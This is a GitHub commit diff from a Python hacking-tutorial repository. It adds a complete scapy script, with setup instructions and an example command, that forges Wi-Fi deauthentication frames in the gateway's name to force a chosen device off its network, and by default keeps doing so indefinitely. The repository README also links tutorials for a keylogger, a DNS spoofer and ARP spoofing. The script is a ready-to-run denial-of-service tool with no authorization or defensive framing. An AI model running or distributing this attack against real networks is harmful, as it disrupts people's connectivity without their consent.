Skip to content

Commit 211de77

Browse files
committed
added scapy deauthentication
1 parent d133f9b commit 211de77

File tree

4 files changed

+92
-0
lines changed

4 files changed

+92
-0
lines changed

Diff for: README.md

+1
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,7 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy
88
- [Detecting ARP Spoof attacks](https://www.thepythoncode.com/article/detecting-arp-spoof-attacks-using-scapy). ([code](scapy/arp-spoof-detector))
99
- DHCP Listener script. ([code](scapy/dhcp_listener))
1010
- [Fake Access Point Generator](https://www.thepythoncode.com/article/create-fake-access-points-scapy). ([code](scapy/fake-access-point))
11+
- [Forcing a device to disconnect using scapy in Python](https://www.thepythoncode.com/article/force-a-device-to-disconnect-scapy). ([code](scapy/network-kicker))
1112
- [Simple Network Scanner](https://www.thepythoncode.com/article/building-network-scanner-using-scapy). ([code](scapy/network-scanner))
1213
- [Writing a DNS Spoofer](https://www.thepythoncode.com/article/make-dns-spoof-python). ([code](scapy/dns-spoof))
1314
- [Writing a Keylogger in Python from Scratch](https://www.thepythoncode.com/article/write-a-keylogger-python). ([code](ethical-hacking/keylogger))

Diff for: scapy/network-kicker/README.md

+40
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
# [Forcing a device to disconnect using scapy in Python](https://www.thepythoncode.com/article/force-a-device-to-disconnect-scapy)
2+
to run this:
3+
- Linux Machine.
4+
- USB WLAN Stick.
5+
- aircrack-ng.
6+
- Turn the network interface to Monitor mode using the command:
7+
```
8+
airmon-ng start wlan0
9+
```
10+
- `pip3 install -r requirements.txt`.
11+
-
12+
```
13+
python3 scapy_deauth.py --help
14+
```
15+
**Output**:
16+
```
17+
usage: scapy_deauth.py [-h] [-c COUNT] [--interval INTERVAL] [-i IFACE] [-v]
18+
target gateway
19+
20+
A python script for sending deauthentication frames
21+
22+
positional arguments:
23+
target Target MAC address to deauthenticate.
24+
gateway Gateway MAC address that target is authenticated with
25+
26+
optional arguments:
27+
-h, --help show this help message and exit
28+
-c COUNT, --count COUNT
29+
number of deauthentication frames to send, specify 0
30+
to keep sending infinitely, default is 0
31+
--interval INTERVAL The sending frequency between two frames sent, default
32+
is 100ms
33+
-i IFACE Interface to use, must be in monitor mode, default is
34+
'wlan0mon'
35+
-v, --verbose wether to print messages
36+
```
37+
For instance, if you want to deauthenticate `"00:ae:fa:81:e2:5e"` on an access point `"e8:94:f6:c4:97:3f"`, you can easily by:
38+
```
39+
python3 scapy_deauth.py 00:ae:fa:81:e2:5e e8:94:f6:c4:97:3f -i wlan0mon -v
40+
```

Diff for: scapy/network-kicker/requirements.txt

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
scapy

Diff for: scapy/network-kicker/scapy_deauth.py

+50
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
from scapy.all import *
2+
3+
4+
def deauth(target_mac, gateway_mac, inter=0.1, count=None, loop=1, iface="wlan0mon", verbose=1):
5+
# 802.11 frame
6+
# addr1: destination MAC
7+
# addr2: source MAC
8+
# addr3: Access Point MAC
9+
dot11 = Dot11(addr1=target_mac, addr2=gateway_mac, addr3=gateway_mac)
10+
# stack them up
11+
packet = RadioTap()/dot11/Dot11Deauth(reason=7)
12+
# send the packet
13+
sendp(packet, inter=inter, count=count, loop=loop, iface=iface, verbose=verbose)
14+
15+
16+
if __name__ == "__main__":
17+
import argparse
18+
parser = argparse.ArgumentParser(description="A python script for sending deauthentication frames")
19+
parser.add_argument("target", help="Target MAC address to deauthenticate.")
20+
parser.add_argument("gateway", help="Gateway MAC address that target is authenticated with")
21+
parser.add_argument("-c" , "--count", help="number of deauthentication frames to send, specify 0 to keep sending infinitely, default is 0", default=0)
22+
parser.add_argument("--interval", help="The sending frequency between two frames sent, default is 100ms", default=0.1)
23+
parser.add_argument("-i", dest="iface", help="Interface to use, must be in monitor mode, default is 'wlan0mon'", default="wlan0mon")
24+
parser.add_argument("-v", "--verbose", help="wether to print messages", action="store_true")
25+
26+
args = parser.parse_args()
27+
target = args.target
28+
gateway = args.gateway
29+
count = int(args.count)
30+
interval = float(args.interval)
31+
iface = args.iface
32+
verbose = args.verbose
33+
34+
if count == 0:
35+
# if count is 0, it means we loop forever (until interrupt)
36+
loop = 1
37+
count = None
38+
else:
39+
loop = 0
40+
41+
# printing some info messages"
42+
if verbose:
43+
if count:
44+
print(f"[+] Sending {count} frames every {interval}s...")
45+
else:
46+
print(f"[+] Sending frames every {interval}s for ever...")
47+
48+
deauth(target, gateway, interval, count, loop, iface, verbose)
49+
50+

0 commit comments

Comments
 (0)